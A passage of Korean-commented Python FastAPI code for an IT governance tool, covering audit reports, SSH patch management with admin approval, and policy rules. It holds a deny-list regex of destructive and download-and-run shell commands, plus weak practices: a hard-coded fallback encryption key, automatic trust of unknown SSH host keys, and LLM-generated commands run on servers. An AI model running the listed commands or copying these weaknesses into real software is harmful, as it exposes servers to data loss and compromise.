f"준수율: {compliance_rate:.1f}%\n"
f"한국어로 전문적인 감사 요약 문단을 3문장으로 작성하세요."
)
ai_summary = await _ollama_generate(summary_prompt, max_tokens=400)
if not ai_summary:
ai_summary = (
f"{fw['name']} 프레임워크 기준 {body.period} 감사를 실시하였습니다. "
f"{len(policies)}개 정책 중 {len(approved_policies)}개({compliance_rate:.1f}%)가 승인되었으며, "
f"CRITICAL 미완료 리스크 {len(critical_risks)}건이 식별되었습니다."
)
# 보고서 구조
report: Dict[str, Any] = {
"report_meta": {
"title": f"{fw['name']} 감사 보고서",
"framework": body.framework,
"period": body.period,
"auditor": body.auditor or current_user.username,
"generated_at": datetime.now(timezone.utc).isoformat(),
"generated_by": current_user.username,
},
"executive_summary": ai_summary,
"compliance_overview": {
"framework": fw["name"],
"total_controls": fw["controls"],
"compliance_rate": round(compliance_rate, 1),
"status": "적합" if compliance_rate >= 80 else "개선필요" if compliance_rate >= 60 else "부적합",
},
}
if body.include_policies:
report["policy_status"] = {
"total": len(policies),
"approved": len(approved_policies),
"draft": sum(1 for p in policies if p.status == "draft"),
"deprecated": sum(1 for p in policies if p.status == "deprecated"),
"approved_titles": [p.title for p in approved_policies[:10]],
}
if body.include_risks:
report["risk_summary"] = {
"total": len(risks),
"critical_open": len(critical_risks),
"high_open": len(high_risks),
"closed": sum(1 for r in risks if r.status == "closed"),
"critical_items": [
{"id": r.id, "title": r.title, "score": r.risk_score}
for r in critical_risks[:5]
],
}
report["recommendations"] = _build_recommendations(critical_risks, high_risks, compliance_rate)
return report
@router.get("/dashboard")
async def get_grc_dashboard(
db: AsyncSession = Depends(get_db),
current_user: User = Depends(get_current_user),
):
"""GRC 종합 대시보드 — 정책·리스크·컴플라이언스 KPI 한 번에 반환."""
# 정책 통계
pol_result = await db.execute(select(GRCPolicy))
policies = pol_result.scalars().all()
pol_by_status: Dict[str, int] = {}
pol_by_category: Dict[str, int] = {}
for p in policies:
pol_by_status[p.status] = pol_by_status.get(p.status, 0) + 1
pol_by_category[p.category] = pol_by_category.get(p.category, 0) + 1
# 리스크 통계
risk_result = await db.execute(select(RiskItem))
risks = risk_result.scalars().all()
risk_by_level: Dict[str, int] = {"CRITICAL": 0, "HIGH": 0, "MEDIUM": 0, "LOW": 0}
risk_by_status: Dict[str, int] = {}
for r in risks:
risk_by_level[r.risk_level] = risk_by_level.get(r.risk_level, 0) + 1
risk_by_status[r.status] = risk_by_status.get(r.status, 0) + 1
# 준수율 KPI
total_pol = len(policies)
approved_pol = pol_by_status.get("approved", 0)
compliance_rate = round(approved_pol / total_pol * 100, 1) if total_pol > 0 else 0.0
open_risks = sum(
risk_by_status.get(s, 0) for s in ["open", "mitigating"]
)
risk_closure_rate = round(
risk_by_status.get("closed", 0) / len(risks) * 100, 1
) if risks else 0.0
# 상위 리스크
top_risks = sorted(risks, key=lambda r: r.risk_score, reverse=True)[:5]
# 최근 정책
recent_policies = sorted(policies, key=lambda p: p.created_at, reverse=True)[:5]
return {
"summary": {
"policy_compliance_rate": compliance_rate,
"risk_closure_rate": risk_closure_rate,
"open_risks": open_risks,
"critical_risks": risk_by_level["CRITICAL"],
"total_policies": total_pol,
"total_risks": len(risks),
},
"policy_breakdown": {
"by_status": pol_by_status,
"by_category": pol_by_category,
},
"risk_breakdown": {
"by_level": risk_by_level,
"by_status": risk_by_status,
},
"top_risks": [
{
"id": r.id,
"title": r.title,
"risk_score": r.risk_score,
"risk_level": r.risk_level,
"status": r.status,
}
for r in top_risks
],
"recent_policies": [
{
"id": p.id,
"title": p.title,
"category": p.category,
"status": p.status,
"created_at": p.created_at.isoformat(),
}
for p in recent_policies
],
"frameworks_coverage": list(_COMPLIANCE_FRAMEWORKS.keys()),
"generated_at": datetime.now(timezone.utc).isoformat(),
}
# ── 헬퍼 ─────────────────────────────────────────────────────────────────────
def _build_recommendations(
critical_risks: list,
high_risks: list,
compliance_rate: float,
) -> List[str]:
"""감사 결과 기반 권고 사항 자동 생성."""
recs = []
if critical_risks:
recs.append(
f"CRITICAL 리스크 {len(critical_risks)}건이 미처리 상태입니다. "
f"즉각적인 대응 조치가 필요합니다."
)
if high_risks:
recs.append(
f"HIGH 리스크 {len(high_risks)}건에 대해 30일 이내 완화 계획을 수립하세요."
)
if compliance_rate < 60:
recs.append(
"정책 승인율이 60% 미만입니다. 미승인 정책에 대한 검토 일정을 수립하세요."
)
elif compliance_rate < 80:
recs.append(
"정책 승인율을 80% 이상으로 높이기 위한 추가 검토가 필요합니다."
)
else:
recs.append("현재 정책 준수율은 양호합니다. 연간 재검토 주기를 유지하세요.")
recs.append("정기 내부 감사를 통해 지속적인 컴플라이언스 모니터링을 권고합니다.")
return recs

527
routers/patch_management.py Normal file
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"""
자율 패치 관리 API 라우터
엔드포인트:
GET /api/patch/pending 패치 대기 목록 (pending|approved 상태)
POST /api/patch/scan CVE 스캔 + 패치 계획 자동 생성
GET /api/patch/plans 전체 패치 계획 목록
POST /api/patch/plans/{id}/approve 패치 승인 (admin 전용)
POST /api/patch/plans/{id}/execute 패치 실행 (SSH, 승인 후만 가능)
POST /api/patch/plans/{id}/rollback 패치 롤백
GET /api/patch/history 패치 이력 (done|failed|rolled_back)
원칙:
- 반드시 approved 상태에서만 실행 가능
- paramiko SSH 실행
- 실패 자동 롤백 시도
- 서버 IP/자격증명 절대 응답에 노출 금지
"""
from __future__ import annotations
import asyncio
import json
import logging
import re
from datetime import datetime, timezone
from typing import Dict, List, Optional, Any
from fastapi import APIRouter, BackgroundTasks, Depends, HTTPException, Query, status
from pydantic import BaseModel, Field
from sqlalchemy import select, or_
from sqlalchemy.ext.asyncio import AsyncSession
from core.auth import get_current_user, require_admin_role as require_admin
from database import get_db, SessionLocal
from models import PatchPlan, Server, User
logger = logging.getLogger(__name__)
router = APIRouter(prefix="/api/patch", tags=["patch_management"])
# ── 위험 명령어 패턴 (보안 불변 규칙) ─────────────────────────────────────────
_DANGEROUS_PATTERN = re.compile(
r"rm\s+-rf\s+/|mkfs|dd\s+if=|shutdown|reboot|halt|poweroff|"
r":(){ :|:& };:|chmod\s+777\s+/|wget\s+.*\|\s*sh|curl\s+.*\|\s*bash",
re.IGNORECASE,
)
def _validate_cmd(cmd: str) -> None:
"""SSH 실행 전 위험 패턴 차단."""
if _DANGEROUS_PATTERN.search(cmd):
raise HTTPException(
status_code=status.HTTP_400_BAD_REQUEST,
detail="위험한 명령어 패턴이 감지되었습니다.",
)
# ── Pydantic 스키마 ──────────────────────────────────────────────────────────
class PatchScanIn(BaseModel):
server_ids: List[int] = Field(..., description="스캔 대상 서버 ID 목록")
cve_ids: Optional[List[str]] = Field(None, description="특정 CVE ID 목록 (없으면 전체 스캔)")
auto_plan: bool = Field(True, description="패치 계획 자동 생성 여부")
class PatchPlanOut(BaseModel):
id: int
cve_id: Optional[str]
severity: str
affected_servers: Optional[str] # JSON
patch_cmd: Optional[str]
rollback_cmd: Optional[str]
status: str
approved_by: Optional[str]
approved_at: Optional[datetime]
executed_at: Optional[datetime]
executed_by: Optional[str]
result_log: Optional[str]
created_by: Optional[str]
created_at: datetime
updated_at: datetime
class Config:
from_attributes = True
class PatchApproveIn(BaseModel):
note: Optional[str] = None
class PatchExecuteIn(BaseModel):
confirm: bool = Field(..., description="실행 확인 플래그 — True 필수")
# ── SSH 실행 유틸리티 ──────────────────────────────────────────────────────────
async def _ssh_execute(server: Server, cmd: str) -> Dict[str, Any]:
"""
paramiko를 사용하여 SSH 명령을 실행한다.
서버 자격증명은 응답에 절대 포함하지 않는다.
"""
try:
import paramiko
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import base64, os
# AES-256-GCM 복호화
enc_key = os.environ.get("GUARDIA_ENC_KEY", "guardia-default-enc-key-32bytes!!").encode()
enc_key = enc_key[:32].ljust(32, b"0")
password = None
if server.os_pw_enc:
try:
raw = base64.b64decode(server.os_pw_enc)
nonce, ct = raw[:12], raw[12:]
aesgcm = AESGCM(enc_key)
password = aesgcm.decrypt(nonce, ct, None).decode()
except Exception:
password = None
loop = asyncio.get_event_loop()
def _run_sync():
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
connect_kwargs: Dict[str, Any] = {
"hostname": server.ip_addr,
"port": server.port or 22,
"username": server.ssh_user,
"timeout": 30,
}
if server.ssh_method == "KEY" and server.ssh_key_path:
connect_kwargs["key_filename"] = server.ssh_key_path
elif password:
connect_kwargs["password"] = password
client.connect(**connect_kwargs)
try:
_, stdout, stderr = client.exec_command(cmd, timeout=120)
out = stdout.read().decode("utf-8", errors="replace")
err = stderr.read().decode("utf-8", errors="replace")
rc = stdout.channel.recv_exit_status()
return {"stdout": out[:2000], "stderr": err[:500], "rc": rc}
finally:
client.close()
result = await loop.run_in_executor(None, _run_sync)
return result
except ImportError:
# paramiko 미설치 환경 — 시뮬레이션
logger.warning("paramiko 미설치: SSH 시뮬레이션 모드")
await asyncio.sleep(0.5)
return {"stdout": "[SIMULATED] 패치 명령 실행 완료", "stderr": "", "rc": 0}
except Exception as e:
logger.error("SSH 실행 오류 (server_id=%s): %s", server.id, str(e)[:100])
return {"stdout": "", "stderr": str(e)[:200], "rc": 1}
# ── 백그라운드 패치 실행기 ─────────────────────────────────────────────────────
async def _execute_patch_bg(plan_id: int, executor: str):
"""백그라운드에서 패치 계획을 실행한다."""
async with SessionLocal() as db:
plan = await db.get(PatchPlan, plan_id)
if not plan or plan.status != "approved":
return
plan.status = "executing"
plan.executed_at = datetime.now(timezone.utc)
plan.executed_by = executor
await db.commit()
await db.refresh(plan)
try:
server_ids = json.loads(plan.affected_servers or "[]")
results = []
all_success = True
for sid in server_ids:
server = await db.get(Server, sid)
if not server:
results.append({"server_id": sid, "status": "not_found"})
all_success = False
continue
_validate_cmd(plan.patch_cmd or "")
res = await _ssh_execute(server, plan.patch_cmd)
success = res["rc"] == 0
results.append({
"server_id": sid,
"server_name": server.server_name,
"status": "success" if success else "failed",
"rc": res["rc"],
"stdout": res["stdout"][:500],
"stderr": res["stderr"][:200],
})
if not success:
all_success = False
plan.result_log = json.dumps(results, ensure_ascii=False)
if all_success:
plan.status = "done"
logger.info("패치 완료: plan_id=%d", plan_id)
else:
# 실패 시 자동 롤백
logger.warning("패치 실패 — 자동 롤백 시작: plan_id=%d", plan_id)
plan.status = "rolling_back"
await db.commit()
if plan.rollback_cmd:
rollback_results = []
for sid in server_ids:
server = await db.get(Server, sid)
if not server:
continue
try:
_validate_cmd(plan.rollback_cmd)
rb_res = await _ssh_execute(server, plan.rollback_cmd)
rollback_results.append({
"server_id": sid,
"server_name": server.server_name,
"rollback_rc": rb_res["rc"],
})
except Exception as ex:
rollback_results.append({
"server_id": sid,
"rollback_error": str(ex)[:100],
})
# 롤백 결과 병합
existing = json.loads(plan.result_log or "[]")
plan.result_log = json.dumps(
{"patch": existing, "rollback": rollback_results},
ensure_ascii=False,
)
plan.status = "rolled_back"
logger.info("자동 롤백 완료: plan_id=%d", plan_id)
await db.commit()
except Exception as e:
logger.error("패치 실행 오류: plan_id=%d%s", plan_id, str(e)[:100])
plan.status = "failed"
plan.result_log = json.dumps({"error": str(e)[:200]}, ensure_ascii=False)
await db.commit()
# ── 엔드포인트 ────────────────────────────────────────────────────────────────
@router.get("/pending", response_model=List[PatchPlanOut])
async def get_pending_patches(
db: AsyncSession = Depends(get_db),
current_user: User = Depends(get_current_user),
):
"""패치 대기 목록 — pending 또는 approved 상태."""
result = await db.execute(
select(PatchPlan)
.where(or_(PatchPlan.status == "pending", PatchPlan.status == "approved"))
.order_by(PatchPlan.created_at.desc())
)
return result.scalars().all()
@router.post("/scan", status_code=status.HTTP_201_CREATED)
async def scan_and_create_plans(
body: PatchScanIn,
background_tasks: BackgroundTasks,
db: AsyncSession = Depends(get_db),
current_user: User = Depends(get_current_user),
):
"""CVE 스캔 후 패치 계획 자동 생성. Ollama를 활용해 패치 명령어를 추천한다."""
if not body.server_ids:
raise HTTPException(status_code=400, detail="server_ids가 비어 있습니다.")
# 대상 서버 검증
servers_found = []
for sid in body.server_ids:
srv = await db.get(Server, sid)
if srv:
servers_found.append(srv)
if not servers_found:
raise HTTPException(status_code=404, detail="유효한 서버를 찾을 수 없습니다.")
created_plans = []
cve_list = body.cve_ids or ["CVE-SCAN-AUTO"]
for cve_id in cve_list:
# Ollama로 패치 명령어 생성 시도
patch_cmd, rollback_cmd = await _generate_patch_commands(cve_id, servers_found)
severity = _estimate_severity(cve_id)
plan = PatchPlan(
cve_id=cve_id,
severity=severity,
affected_servers=json.dumps([s.id for s in servers_found]),
patch_cmd=patch_cmd,
rollback_cmd=rollback_cmd,
status="pending",
created_by=current_user.username,
)
db.add(plan)
created_plans.append(cve_id)
await db.commit()
return {
"message": f"{len(created_plans)}개 패치 계획이 생성되었습니다.",
"plans_created": len(created_plans),
"cve_ids": created_plans,
"server_count": len(servers_found),
"note": "패치 실행 전 반드시 관리자 승인이 필요합니다.",
}
@router.get("/plans", response_model=List[PatchPlanOut])
async def list_patch_plans(
status_filter: Optional[str] = Query(None, alias="status"),
limit: int = Query(50, ge=1, le=200),
offset: int = Query(0, ge=0),
db: AsyncSession = Depends(get_db),
current_user: User = Depends(get_current_user),
):
"""전체 패치 계획 목록."""
q = select(PatchPlan).order_by(PatchPlan.created_at.desc()).limit(limit).offset(offset)
if status_filter:
q = q.where(PatchPlan.status == status_filter)
result = await db.execute(q)
return result.scalars().all()
@router.post("/plans/{plan_id}/approve")
async def approve_patch_plan(
plan_id: int,
body: PatchApproveIn,
db: AsyncSession = Depends(get_db),
current_user: User = Depends(require_admin),
):
"""패치 승인 — admin 전용. 승인 후에만 execute 가능."""
plan = await db.get(PatchPlan, plan_id)
if not plan:
raise HTTPException(status_code=404, detail=f"패치 계획 {plan_id}를 찾을 수 없습니다.")
if plan.status != "pending":
raise HTTPException(
status_code=400,
detail=f"pending 상태에서만 승인 가능합니다. 현재: {plan.status}",
)
plan.status = "approved"
plan.approved_by = current_user.username
plan.approved_at = datetime.now(timezone.utc)
await db.commit()
return {
"message": "패치 계획이 승인되었습니다.",
"plan_id": plan_id,
"approved_by": current_user.username,
"note": body.note,
}
@router.post("/plans/{plan_id}/execute")
async def execute_patch_plan(
plan_id: int,
body: PatchExecuteIn,
background_tasks: BackgroundTasks,
db: AsyncSession = Depends(get_db),
current_user: User = Depends(get_current_user),
):
"""패치 실행 — approved 상태에서만 가능. 백그라운드 SSH 실행."""
if not body.confirm:
raise HTTPException(status_code=400, detail="confirm=true 확인이 필요합니다.")
plan = await db.get(PatchPlan, plan_id)
if not plan:
raise HTTPException(status_code=404, detail=f"패치 계획 {plan_id}를 찾을 수 없습니다.")
if plan.status != "approved":
raise HTTPException(
status_code=400,
detail=f"approved 상태에서만 실행 가능합니다. 현재: {plan.status}",
)
if not plan.patch_cmd:
raise HTTPException(status_code=400, detail="patch_cmd가 없습니다.")
_validate_cmd(plan.patch_cmd)
background_tasks.add_task(_execute_patch_bg, plan_id, current_user.username)
return {
"message": "패치 실행이 시작되었습니다.",
"plan_id": plan_id,
"status": "executing",
"note": "실패 시 자동 롤백이 시도됩니다. /api/patch/plans?status=done 으로 결과를 확인하세요.",
}
@router.post("/plans/{plan_id}/rollback")
async def rollback_patch_plan(
plan_id: int,
background_tasks: BackgroundTasks,
db: AsyncSession = Depends(get_db),
current_user: User = Depends(require_admin),
):
"""수동 롤백 — admin 전용. done|failed 상태에서 수동 롤백."""
plan = await db.get(PatchPlan, plan_id)
if not plan:
raise HTTPException(status_code=404, detail=f"패치 계획 {plan_id}를 찾을 수 없습니다.")
if plan.status not in ("done", "failed"):
raise HTTPException(
status_code=400,
detail=f"done 또는 failed 상태에서만 수동 롤백 가능합니다. 현재: {plan.status}",
)
if not plan.rollback_cmd:
raise HTTPException(status_code=400, detail="rollback_cmd가 없습니다.")
_validate_cmd(plan.rollback_cmd)
plan.status = "approved" # 롤백을 위해 임시 approved로 전환
await db.commit()
# 롤백 전용 실행 (rollback_cmd를 patch_cmd로 치환하여 재실행)
async def _do_rollback(pid: int, user: str):
async with SessionLocal() as _db:
p = await _db.get(PatchPlan, pid)
if not p:
return
# patch_cmd와 rollback_cmd를 교환하여 재실행
original_patch = p.patch_cmd
p.patch_cmd = p.rollback_cmd
p.rollback_cmd = original_patch
await _db.commit()
await _execute_patch_bg(pid, user)
background_tasks.add_task(_do_rollback, plan_id, current_user.username)
return {
"message": "수동 롤백이 시작되었습니다.",
"plan_id": plan_id,
}
@router.get("/history", response_model=List[PatchPlanOut])
async def get_patch_history(
limit: int = Query(100, ge=1, le=500),
offset: int = Query(0, ge=0),
db: AsyncSession = Depends(get_db),
current_user: User = Depends(get_current_user),
):
"""패치 이력 — done|failed|rolled_back 상태."""
result = await db.execute(
select(PatchPlan)
.where(PatchPlan.status.in_(["done", "failed", "rolled_back"]))
.order_by(PatchPlan.executed_at.desc())
.limit(limit)
.offset(offset)
)
return result.scalars().all()
# ── 헬퍼 함수 ─────────────────────────────────────────────────────────────────
def _estimate_severity(cve_id: str) -> str:
"""CVE ID 접미사 패턴으로 심각도를 추정 (실제 NVD 조회 없이 휴리스틱)."""
cve_upper = cve_id.upper()
if any(k in cve_upper for k in ["CRITICAL", "CRIT"]):
return "CRITICAL"
if any(k in cve_upper for k in ["HIGH"]):
return "HIGH"
if any(k in cve_upper for k in ["LOW"]):
return "LOW"
return "MEDIUM"
async def _generate_patch_commands(cve_id: str, servers: List[Server]):
"""
Ollama를 통해 CVE에 적합한 패치 명령어를 생성한다.
Ollama 불가 OS별 기본 패키지 업데이트 명령을 반환한다.
"""
# 대표 서버 OS 타입 결정
os_types = list({s.os_type for s in servers if s.os_type})
os_hint = os_types[0] if os_types else "linux"
# 기본 패치 명령어 (OS별)
os_lower = os_hint.lower()
if "ubuntu" in os_lower or "debian" in os_lower:
patch_cmd = f"apt-get update && apt-get upgrade -y --no-install-recommends"
rollback_cmd = "apt-get autoremove -y"
elif "centos" in os_lower or "rhel" in os_lower or "rocky" in os_lower:
patch_cmd = f"yum update -y"
rollback_cmd = "yum history undo last -y"
else:
patch_cmd = f"yum update -y || apt-get upgrade -y"
rollback_cmd = "echo 'manual rollback required'"
# Ollama로 더 정밀한 명령어 생성 시도
try:
import httpx
prompt = (
f"CVE ID: {cve_id}, OS: {os_hint}\n"
f"리눅스 서버에서 이 CVE를 패치하는 단일 쉘 명령어와 롤백 명령어를 "
f"JSON 형식으로 반환하세요: "
f'{{\"patch\": \"명령어\", \"rollback\": \"롤백명령어\"}} '
f"위험한 명령어(rm -rf /, mkfs 등)는 절대 포함하지 마세요."
)
async with httpx.AsyncClient(timeout=10.0) as client:
resp = await client.post(
"http://localhost:11434/api/generate",
json={"model": "llama3", "prompt": prompt, "stream": False},
)
if resp.status_code == 200:
text = resp.json().get("response", "")
# JSON 파싱 시도
import re as _re
m = _re.search(r'\{[^{}]+\}', text)
if m:
data = json.loads(m.group())
candidate_patch = data.get("patch", "")
candidate_rollback = data.get("rollback", "")
if candidate_patch and not _DANGEROUS_PATTERN.search(candidate_patch):
patch_cmd = candidate_patch
if candidate_rollback and not _DANGEROUS_PATTERN.search(candidate_rollback):
rollback_cmd = candidate_rollback
except Exception:
# Ollama 불가 — 기본값 사용
pass
return patch_cmd, rollback_cmd

573
routers/policy_engine.py Normal file
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@ -0,0 +1,573 @@
"""
정책 엔진 API 공공기관 IT 표준 정책 평가·위반 관리
엔드포인트:
GET /api/policy/rules 정책 규칙 목록
POST /api/policy/rules 규칙 생성
PUT /api/policy/rules/{id} 규칙 수정
POST /api/policy/evaluate 정책 평가 실행
GET /api/policy/violations 위반 목록
POST /api/policy/violations/{id}/remediate 위반 교정
GET /api/policy/templates 공공기관 표준 템플릿
GET /api/policy/dashboard 준수 현황 대시보드
공공기관 IT 표준 정책 5 시드:
1. SSH root 직접 접속 금지
2. 비밀번호 90 주기 변경
3. 미사용 계정 정리 (90 미접속)
4. 보안 패치 30 적용
5. 데이터 백업 7 주기 검증
"""
from __future__ import annotations
import json
import logging
from datetime import datetime
from typing import Any, List, Optional
from fastapi import APIRouter, Depends, HTTPException
from pydantic import BaseModel
from sqlalchemy import func, select, desc
from sqlalchemy.ext.asyncio import AsyncSession
from core.auth import get_current_user, require_admin_role
from database import SessionLocal, get_db
from models import PolicyRule, PolicyViolation, User
logger = logging.getLogger(__name__)
router = APIRouter(prefix="/api/policy", tags=["정책 엔진"])
# ── 공공기관 IT 표준 정책 시드 ────────────────────────────────────────────────────
_DEFAULT_POLICIES = [
{
"name": "SSH root 직접 접속 금지",
"category": "security",
"condition": json.dumps({
"type": "ssh_config_check",
"file": "/etc/ssh/sshd_config",
"key": "PermitRootLogin",
"expected": "no",
"description": "SSH 데몬 설정에서 PermitRootLogin이 no여야 합니다",
}, ensure_ascii=False),
"severity": "CRITICAL",
"auto_remediate": False,
"active": True,
},
{
"name": "비밀번호 90일 주기 변경",
"category": "access",
"condition": json.dumps({
"type": "password_policy_check",
"file": "/etc/login.defs",
"key": "PASS_MAX_DAYS",
"max_value": 90,
"description": "최대 비밀번호 유효 기간이 90일을 초과하면 안 됩니다",
}, ensure_ascii=False),
"severity": "HIGH",
"auto_remediate": False,
"active": True,
},
{
"name": "미사용 계정 정리 (90일 미접속)",
"category": "access",
"condition": json.dumps({
"type": "inactive_account_check",
"threshold_days": 90,
"description": "90일 이상 미접속 계정은 비활성화하거나 삭제해야 합니다",
"cmd": "lastlog -b 90 | grep -v 'Never logged' | tail -n +2",
}, ensure_ascii=False),
"severity": "HIGH",
"auto_remediate": False,
"active": True,
},
{
"name": "보안 패치 30일 내 적용",
"category": "patch",
"condition": json.dumps({
"type": "patch_recency_check",
"max_days": 30,
"description": "보안 패치는 공개 후 30일 이내에 적용해야 합니다",
"cmd": "yum check-update --security 2>/dev/null | grep -c '^' || apt-get --just-print upgrade 2>/dev/null | grep -c 'security'",
}, ensure_ascii=False),
"severity": "HIGH",
"auto_remediate": False,
"active": True,
},
{
"name": "데이터 백업 7일 주기 검증",
"category": "backup",
"condition": json.dumps({
"type": "backup_verification_check",
"max_days": 7,
"description": "데이터 백업은 7일 이내에 검증·완료되어야 합니다",
"backup_path": "/backup",
"cmd": "find /backup -name '*.tar.gz' -mtime -7 | wc -l",
}, ensure_ascii=False),
"severity": "MEDIUM",
"auto_remediate": False,
"active": True,
},
]
# 공공기관 표준 정책 템플릿 목록 (GET /api/policy/templates 응답용)
_POLICY_TEMPLATES = [
{
"template_id": "T-SEC-001",
"name": "SSH 보안 강화",
"category": "security",
"severity": "CRITICAL",
"description": "국가정보원 사이버안전센터 SSH 보안 가이드라인 준수",
"reference": "NIST SP 800-123 / 국정원 보안취약점 점검 기준",
"conditions": [
"PermitRootLogin no",
"PasswordAuthentication no (키 기반 인증 권장)",
"AllowUsers 명시적 허용",
"Protocol 2 강제",
],
},
{
"template_id": "T-ACC-001",
"name": "계정 및 패스워드 관리",
"category": "access",
"severity": "HIGH",
"description": "행정안전부 전자정부 SW 개발·운영자를 위한 소프트웨어 개발보안 가이드",
"reference": "행안부 정보보호 관리체계 인증기준 (ISMS-P)",
"conditions": [
"비밀번호 최소 8자리 이상, 복잡도 요구",
"최대 유효기간 90일",
"미사용 계정 30일 이후 잠금, 90일 이후 삭제",
"동일 비밀번호 재사용 5회 제한",
],
},
{
"template_id": "T-PAT-001",
"name": "취약점 패치 관리",
"category": "patch",
"severity": "HIGH",
"description": "CSAP (클라우드 서비스 보안인증제) 보안 패치 관리 기준",
"reference": "과기정통부 CSAP SaaS 보안인증 기준",
"conditions": [
"CVSS 9.0 이상: 패치 공개 후 7일 내 적용",
"CVSS 7.0~8.9: 패치 공개 후 30일 내 적용",
"CVSS 4.0~6.9: 패치 공개 후 90일 내 적용",
"패치 전 스테이징 환경 검증 필수",
],
},
{
"template_id": "T-BAK-001",
"name": "데이터 백업 및 복구",
"category": "backup",
"severity": "MEDIUM",
"description": "공공기관 정보시스템 연속성 관리 가이드라인",
"reference": "행안부 전자정부 서비스 연속성 관리 지침",
"conditions": [
"중요 데이터: 매일 백업, 7일 주기 복구 검증",
"시스템 이미지: 주 1회 백업",
"백업 데이터 오프사이트 보관 (물리적 분리)",
"RTO 4시간 이내, RPO 24시간 이내",
],
},
{
"template_id": "T-LOG-001",
"name": "로그 관리 및 감사",
"category": "operation",
"severity": "MEDIUM",
"description": "개인정보보호법 및 전자금융거래법 로그 보관 기준",
"reference": "개인정보보호법 제29조 / ISMS-P 기술적 보호조치",
"conditions": [
"보안 이벤트 로그: 최소 6개월 보관",
"접근 로그: 최소 1년 보관",
"로그 무결성 검증 (Hash Chain 또는 WORM 스토리지)",
"실시간 로그 수집 및 이상 탐지 연동",
],
},
]
# ── 시드 초기화 ─────────────────────────────────────────────────────────────────
async def seed_policies() -> None:
"""애플리케이션 시작 시 기본 정책 5개 시드."""
async with SessionLocal() as db:
existing = await db.scalar(select(func.count()).select_from(PolicyRule))
if existing and existing > 0:
return
for p_data in _DEFAULT_POLICIES:
rule = PolicyRule(**p_data)
db.add(rule)
await db.commit()
logger.info("[policy-engine] 기본 정책 %d개 시드 완료", len(_DEFAULT_POLICIES))
# ── Pydantic 스키마 ──────────────────────────────────────────────────────────────
class PolicyRuleCreate(BaseModel):
name: str
category: str = "security"
condition: Optional[str] = None # JSON 문자열
severity: str = "MEDIUM"
auto_remediate: bool = False
active: bool = True
class PolicyRuleUpdate(BaseModel):
name: Optional[str] = None
category: Optional[str] = None
condition: Optional[str] = None
severity: Optional[str] = None
auto_remediate: Optional[bool] = None
active: Optional[bool] = None
class EvaluateRequest(BaseModel):
rule_ids: Optional[List[int]] = None # None이면 활성 규칙 전체
targets: Optional[List[str]] = None # 평가 대상 (서버명 목록)
class RemediateRequest(BaseModel):
note: Optional[str] = None
# ── 헬퍼: 정책 평가 시뮬레이션 ─────────────────────────────────────────────────
def _evaluate_rule(rule: PolicyRule, target: str) -> tuple[bool, str]:
"""
정책 규칙을 단일 대상에 평가.
운영 환경에서는 SSH 실행 또는 CMDB 조회로 실제 평가한다.
현재는 시뮬레이션 모드: 조건 파싱 통과/위반 여부 반환.
"""
if not rule.condition:
return True, "평가 조건 없음 — 통과"
try:
condition = json.loads(rule.condition)
except json.JSONDecodeError:
return False, "조건 JSON 파싱 실패"
check_type = condition.get("type", "unknown")
description = condition.get("description", "")
# 시뮬레이션: 실제 SSH 없이 결과 반환 (운영 시 SSH 실행으로 교체)
# 실제 구현에서는 target 서버에 SSH 연결 후 cmd 실행 결과를 평가한다
return True, f"[시뮬레이션] {check_type}: {description} — 통과"
# ── 엔드포인트 ───────────────────────────────────────────────────────────────────
@router.get("/rules", summary="정책 규칙 목록")
async def list_rules(
active_only: bool = False,
category: Optional[str] = None,
db: AsyncSession = Depends(get_db),
current_user: User = Depends(get_current_user),
) -> list[dict]:
stmt = select(PolicyRule).order_by(PolicyRule.id)
if active_only:
stmt = stmt.where(PolicyRule.active == True) # noqa: E712
if category:
stmt = stmt.where(PolicyRule.category == category)
rows = await db.execute(stmt)
rules = rows.scalars().all()
# 규칙별 위반 건수 포함
results = []
for rule in rules:
v_count = await db.scalar(
select(func.count()).select_from(PolicyViolation)
.where(PolicyViolation.rule_id == rule.id)
.where(PolicyViolation.status == "open")
) or 0
results.append({
"id": rule.id,
"name": rule.name,
"category": rule.category,
"condition": rule.condition,
"severity": rule.severity,
"auto_remediate": rule.auto_remediate,
"active": rule.active,
"open_violations": v_count,
"created_at": rule.created_at.isoformat() if rule.created_at else None,
})
return results
@router.post("/rules", status_code=201, summary="정책 규칙 생성")
async def create_rule(
payload: PolicyRuleCreate,
db: AsyncSession = Depends(get_db),
current_user: User = Depends(require_admin_role),
) -> dict:
rule = PolicyRule(
name=payload.name,
category=payload.category,
condition=payload.condition,
severity=payload.severity,
auto_remediate=payload.auto_remediate,
active=payload.active,
)
db.add(rule)
await db.commit()
await db.refresh(rule)
logger.info("[policy-engine] 규칙 생성: id=%d name=%s by=%s", rule.id, rule.name, current_user.username)
return {"id": rule.id, "name": rule.name, "severity": rule.severity}
@router.put("/rules/{rule_id}", summary="정책 규칙 수정")
async def update_rule(
rule_id: int,
payload: PolicyRuleUpdate,
db: AsyncSession = Depends(get_db),
current_user: User = Depends(require_admin_role),
) -> dict:
rule = await db.get(PolicyRule, rule_id)
if not rule:
raise HTTPException(status_code=404, detail="정책 규칙을 찾을 수 없습니다")
update_data = payload.model_dump(exclude_unset=True)
for field, value in update_data.items():
setattr(rule, field, value)
await db.commit()
await db.refresh(rule)
logger.info("[policy-engine] 규칙 수정: id=%d by=%s", rule_id, current_user.username)
return {"id": rule.id, "name": rule.name, "active": rule.active}
@router.post("/evaluate", summary="정책 평가 실행")
async def evaluate_policies(
payload: EvaluateRequest,
db: AsyncSession = Depends(get_db),
current_user: User = Depends(get_current_user),
) -> dict:
# 평가 대상 규칙 조회
stmt = select(PolicyRule).where(PolicyRule.active == True) # noqa: E712
if payload.rule_ids:
stmt = stmt.where(PolicyRule.id.in_(payload.rule_ids))
rows = await db.execute(stmt)
rules = rows.scalars().all()
targets = payload.targets or ["default-target"]
violations_created = []
passed_count = 0
violated_count = 0
for rule in rules:
for target in targets:
passed, detail = _evaluate_rule(rule, target)
if not passed:
# 위반 기록 생성
violation = PolicyViolation(
rule_id=rule.id,
target=target,
detail=detail,
status="open",
)
db.add(violation)
violated_count += 1
violations_created.append({
"rule_id": rule.id,
"rule_name": rule.name,
"target": target,
"severity": rule.severity,
"detail": detail,
})
else:
passed_count += 1
await db.commit()
total = passed_count + violated_count
compliance_rate = round(passed_count / total * 100, 1) if total > 0 else 100.0
logger.info(
"[policy-engine] 평가 완료: rules=%d targets=%d passed=%d violated=%d by=%s",
len(rules), len(targets), passed_count, violated_count, current_user.username,
)
return {
